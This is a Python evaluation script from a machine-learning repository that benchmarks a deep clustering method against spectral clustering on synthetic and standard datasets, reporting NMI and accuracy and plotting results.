daishuanglu/dmClustering
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
[ "MIT" ]
null
null
null
dmClusteringEval.py
daishuanglu/dmClustering
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
[ "MIT" ]
null
null
null
from dmClustering import pwise_Euclid, dmClustering, group_label_acc, group_label from dataReader import dataReader import torch import torch.nn as nn import torch.nn.functional as F import numpy as np from collections import Counter from sklearn.cluster import KMeans, SpectralClustering from sklearn import datasets from sklearn.metrics import normalized_mutual_info_score import matplotlib.pyplot as plt import time #from sklearn.model_selection import train_test_split #from pathlib import Path def avgPred(ntimes,loader,testcase): target, inputs, nfeat, nsamples = loader.spiral() preds = torch.Tensor(ntimes, nsamples) for i in range(ntimes): print('predicting {:d}/{:d} round'.format(i+1,ntimes)) if type(inputs) is np.ndarray: preds[i, :] =torch.from_numpy(testcase(loader,True)) else: preds[i, :] = testcase(loader, True) print('max Voting') pred,_=preds.mode(0) nmi = normalized_mutual_info_score(target, pred.numpy()) acc = group_label_acc(target, pred.numpy()) return acc,nmi def metricCluster(dfx,ratio=0.0): N = dfx.size(0) sim = dfx.detach() > ratio clusters = np.arange(N) flag = torch.zeros(N) i = 0 while flag.sum().item() < N: label = clusters[i] clusters[sim[i, :].nonzero().squeeze()] = label flag[sim[i, :].nonzero().squeeze()] = 1 if flag.sum().item() == N: break i = flag.eq(0).nonzero()[0].long() #print('searching {:d} '.format(i.numpy()[0])) return clusters class shapeNet(nn.Module): def __init__(self,dim=2): super(shapeNet, self).__init__() self.dim=dim self.linFeature=nn.Sequential( nn.Linear(dim, 10), ) def forward(self,x1): x1 = x1.view(x1.size(0), self.dim) x1= self.linFeature(x1) return x1 def testSpiral(loader,averaging=False): target, inputs, nfeat, nsamples = loader.spiral() if type(inputs) is np.ndarray: inputs=torch.from_numpy(inputs).unsqueeze(1).float() ut=np.unique(target) else: ut=target.unique() print(nsamples,' samples',nfeat,' dimensions ,targets:',Counter(target)) Nclusters = len(ut) Nsparse = 3 batchsize = 10 model = dmClustering(shapeNet(), Nfactor=0, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=20, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: #print(F) print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) #print('targets:', ''.join(str(t) for t in target)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label(target, labels) def testPath(loader,averaging=False): target, inputs, nfeat, nsamples = loader.path() inputs = torch.from_numpy(inputs).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 8 batchsize = 10 Nfactor = 5 model = dmClustering(shapeNet(), Nfactor=Nfactor,Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=20, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc, nmi else: return group_label(target, labels) def testCompound(loader,averaging=False): target, inputs, nfeat, nsamples = loader.compound() inputs = torch.from_numpy(inputs).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 22 batchsize = 50 Nfactor = 4 model = dmClustering(shapeNet(), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=14, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) # print('targets:', ''.join(str(t) for t in target)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label(target, labels) class bioNet(nn.Module): def __init__(self,dim=8,winit=None): super(bioNet, self).__init__() self.dim=dim self.feature=nn.Sequential( nn.Linear(dim, 256), ) if winit=='xavier': for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_uniform_(m.weight,gain=5) def forward(self,x1): x1 = x1.view(x1.size(0), self.dim) x1=self.feature(x1) return x1 def testYeast(loader, averaging=False): target, data, nfeat, nsamples = loader.yeast() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 40 batchsize = 40 Nfactor = 20 model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor,Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) # print('targets:', ''.join(str(t) for t in target)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label_acc(target, labels) def testGlass(loader,averaging=False): target, data, nfeat, nsamples = loader.glass() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 40 batchsize = 40 Nfactor = 20 model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) # print('targets:', ''.join(str(t) for t in target)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label_acc(target, labels) def testEcoli(loader, averaging=False): target, data, nfeat, nsamples = loader.ecoli() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 30 batchsize = 50 Nfactor = 10 model = dmClustering(bioNet(dim=nfeat,winit='xavier'), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) print('targets:', ''.join(str(t) for t in target)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label(target, labels) def testMove(loader,averaging=False): target, data, nfeat, nsamples = loader.movement() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 20 batchsize = 50 Nfactor = 8 model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) if not averaging: print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi else: return group_label(target, labels) def testCoil(loader): target, data, nfeat, nsamples = loader.coil() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 100 batchsize = 50 Nfactor = 0 model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) return acc,nmi def testStock(loader): target, data, nfeat, nsamples = loader.stock() print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target)) data = data[:60] target = target[:60] inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) Nclusters = len(ut) Nsparse = 10 batchsize = 50 Nfactor = 5 model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc,nmi class objectNet1d(nn.Module): def __init__(self,dim): super(objectNet1d, self).__init__() self.dim=dim self.feature=nn.Sequential( nn.Linear(dim, 1024), ) def forward(self, x): x= x.view(-1,self.dim) x = self.feature(x) return x def testCoil20(loader, pretrained=True): target, data, nfeat, nsamples = loader.coil20() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) modelFile = './coil20_metricNet.dat' net = objectNet1d(dim=nfeat) if pretrained: net.load_state_dict(torch.load(modelFile)) model = dmClustering(net, Nclusters=Nclusters) tau = 100000.0 dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1000, bsize=1000, tau=tau) torch.save(net.state_dict(), modelFile) # dfx=tau-pwise_Euclid(net(inputs)) labels = metricCluster(dfx, ratio=tau / 2) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc,nmi class faceNet1d(nn.Module): def __init__(self,dim=256): super(faceNet1d, self).__init__() self.dim=dim self.feature=nn.Sequential( nn.Linear(dim, 512), #nn.Tanh(), #nn.Linear(1024,256) ) for m in self.modules(): if isinstance(m, nn.Linear) or isinstance(m,nn.Conv1d): nn.init.xavier_uniform_(m.weight) def forward(self,x1): x1=x1.view(x1.size(0),self.dim) x1=self.feature(x1) return x1 def testUmist(loader): target, data, nfeat, nsamples = loader.umist() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 batchsize = 50 Nfactor = 20 model = dmClustering(faceNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc,nmi def testJaffe(loader,pretrained=True): target, data, nfeat, nsamples = loader.jaffe() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) modelFile = './jaffe_metricNet.dat' net = faceNet1d(dim=nfeat) if pretrained: net.load_state_dict(torch.load(modelFile)) model = dmClustering(net, Nclusters=Nclusters) tau = 100000.0 dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1500, bsize=1000, tau=tau) torch.save(net.state_dict(), modelFile) labels = metricCluster(dfx, ratio=tau / 2) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc,nmi def testUsps(loader,pretrained=True ): target, data, nfeat, nsamples = loader.usps() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) modelFile = './USPS_metricNet.dat' net = faceNet1d(dim=nfeat) if pretrained: net.load_state_dict(torch.load(modelFile)) model = dmClustering(net, Nclusters=Nclusters) tau = 100000.0 dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1500, bsize=1000, tau=tau) torch.save(net.state_dict(), modelFile) labels = metricCluster(dfx, ratio=tau / 2) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testMSRCV(loader): target, data, nfeat, nsamples = loader.msrcv() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 batchsize = 80 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testCal7(loader): target, data, nfeat, nsamples = loader.cal7() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 20 batchsize = 50 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testCal20(loader): target, data, nfeat, nsamples = loader.cal20() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 20 batchsize = 50 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testORL(loader): target, data, nfeat, nsamples = loader.orl() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 batchsize = 80 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testCol20(loader): target, data, nfeat, nsamples = loader.col20() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 20 batchsize = 50 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testEYB10(loader): target, data, nfeat, nsamples = loader.eyb(10) inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 80 batchsize = 100 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testEYB20(loader): target, data, nfeat, nsamples = loader.eyb(20) inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 80 batchsize = 100 Nfactor = 15 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testEYB30(loader): target, data, nfeat, nsamples = loader.eyb(30) inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 50 batchsize = 100 Nfactor = 20 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def testCol100(loader): target, data, nfeat, nsamples = loader.col100() inputs = torch.from_numpy(data).unsqueeze(1).float() ut = np.unique(target) print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 20 batchsize = 50 Nfactor = 10 model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) ctr = Counter(labels) print('clusters:', ''.join(str(l) for l in labels)) print(ctr) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) print('Number of clusters: {:d} '.format(len(ctr))) return acc, nmi def centering(inputs): N,dim=inputs.size() return inputs-inputs.mean(0).expand(N,dim) def spcl(dfx,Nc,Nfactor): N = dfx.size(0) S = ((dfx + dfx.t()) / 2).float() degs = S.sum(1) Ds = torch.eye(N) Ds[Ds == 1] = degs Ls = Ds - S D = torch.eye(N) degs[degs == 0] = 0.000001 D[D == 1] = 1 / (degs ** .5) Ls = D.mm(Ls).mm(D) _, v = Ls.symeig(eigenvectors=True) F = v[:, :Nfactor] #print(F[:10, :]) return KMeans(n_clusters=Nc, random_state=0).fit(F.detach().numpy()).labels_,F.detach().numpy() def testMoons(tosave=False): inputs, target = datasets.make_moons(n_samples=100, noise=.1) nsamples, nfeat = inputs.shape inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float() ut = np.unique(target) print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 Nfactor = 0 batchsize = 10 model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) # labels_kms=KMeans(n_clusters=2).fit(inputs).labels_ model = SpectralClustering(n_clusters=2).fit(inputs) labels_spcl = model.labels_ ss = torch.from_numpy(model.affinity_matrix_).float() N = ss.size(0) degs = ss.sum(1) Ds = torch.eye(N) Ds[Ds == 1] = degs Ls = Ds - ss _, v = Ls.symeig(eigenvectors=True) f_spcl = v[:, :2].numpy() fig, ax = plt.subplots(ncols=5, figsize=(20, 3)) c = ['b', 'r', 'm'] for i, l in enumerate(np.unique(target)): id = (l == target) ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[0].set_title('Two Moons') for i, l in enumerate(np.unique(labels_spcl)): id = (l == labels_spcl) ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[1].set_title('Spectral Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i]) ax[2].set_title('Learnt Subspace') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[3].set_title('Proposed Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i]) ax[4].set_title('Learnt Subspace') plt.tight_layout() if tosave: fig.savefig('ClusteringCompare-TwoMoons.png') return 1 else: plt.show(block=False) time.sleep(5) return 1 def testThreeCircles(tosave=False): inputs1, target1 = datasets.make_circles(n_samples=200, noise=0.05, factor=.3) inputs2, target2 = datasets.make_circles(n_samples=200, noise=0.05, factor=.6) target2[target2 == 1] = 2 inputs = np.vstack((inputs1, inputs2[target2 == 2, :])) target = np.hstack((target1, target2[target2 == 2])) nsamples, nfeat = inputs.shape inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float() ut = np.unique(target) print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 Nfactor = 0 batchsize = 25 model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=8, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) model = SpectralClustering(n_clusters=2).fit(inputs) labels_spcl = model.labels_ ss = torch.from_numpy(model.affinity_matrix_).float() N = ss.size(0) degs = ss.sum(1) Ds = torch.eye(N) Ds[Ds == 1] = degs Ls = Ds - ss _, v = Ls.symeig(eigenvectors=True) f_spcl = v[:, :2].numpy() fig, ax = plt.subplots(ncols=5, figsize=(20, 3)) c = ['b', 'r', 'm'] for i, l in enumerate(np.unique(target)): id = (l == target) ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[0].set_title('Three Circles') for i, l in enumerate(np.unique(labels_spcl)): id = (l == labels_spcl) ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[1].set_title('Spectral Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i]) ax[2].set_title('Learnt Subspace') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[3].set_title('Proposed Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i]) ax[4].set_title('Learnt Subspace') plt.tight_layout() if tosave: fig.savefig('ClusteringCompare-ThreeCircles.png') return 1 else: plt.show(block=False) time.sleep(5) return 1 def testBlobs(tosave=False): inputs, target = datasets.make_blobs(n_samples=600, cluster_std=[2.0, 1.5, 1.0]) nsamples, nfeat = inputs.shape inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float() ut = np.unique(target) print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target)) Nclusters = len(ut) Nsparse = 10 Nfactor = 0 batchsize = 25 model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters) F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=6, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1) print('clusters:', ''.join(str(l) for l in labels)) print(Counter(labels)) nmi = normalized_mutual_info_score(target, labels) print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100)) acc = group_label_acc(target, labels) print('Group accuracy: {:.2f}%'.format(acc * 100)) model = SpectralClustering(n_clusters=2).fit(inputs) labels_spcl = model.labels_ ss = torch.from_numpy(model.affinity_matrix_).float() N = ss.size(0) degs = ss.sum(1) Ds = torch.eye(N) Ds[Ds == 1] = degs Ls = Ds - ss _, v = Ls.symeig(eigenvectors=True) f_spcl = v[:, :2].numpy() fig, ax = plt.subplots(ncols=5, figsize=(20, 3)) c = ['b', 'r', 'm'] for i, l in enumerate(np.unique(target)): id = (l == target) ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[0].set_title('Three Blobs') for i, l in enumerate(np.unique(labels_spcl)): id = (l == labels_spcl) ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[1].set_title('Spectral Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i]) ax[2].set_title('Learnt Subspace') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i]) ax[3].set_title('Proposed Clustering') for i, l in enumerate(np.unique(labels)): id = (l == labels) ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i]) ax[4].set_title('Learnt Subspace') plt.tight_layout() if tosave: fig.savefig('ClusteringCompare-ThreeBlobs.png') return 1 else: plt.show(block=False) time.sleep(5) return 1 if __name__=="__main__": folder = "./data" loader = dataReader(folder=folder) testSpiral(loader) testPath(loader) testCompound(loader) testYeast(loader) testGlass(loader) testYeast(loader) testEcoli(loader) testMove(loader) testCoil(loader) testStock(loader) testCoil20(loader) testEYB10(loader) testEYB20(loader) testEYB30(loader) testCal7(loader) testCal20(loader) testMSRCV(loader) testORL(loader) testCol20(loader) testCol100(loader) testBlobs() testMoons() testThreeCircles() testJaffe(loader,pretrained=True) testUsps(loader,pretrained=True)
40.985697
121
0.630849
4,374
34,387
4.888889
0.071102
0.048354
0.039749
0.024878
0.873878
0.869342
0.833895
0.828563
0.802796
0.797372
0
0.028826
0.219153
34,387
838
122
41.034606
0.767569
0.013464
0
0.752577
0
0
0.102812
0.004203
0
0
0
0
0
1
0.04768
false
0
0.015464
0
0.123711
0.18299
0
0
0
null
0
0
0
1
1
1
1
1
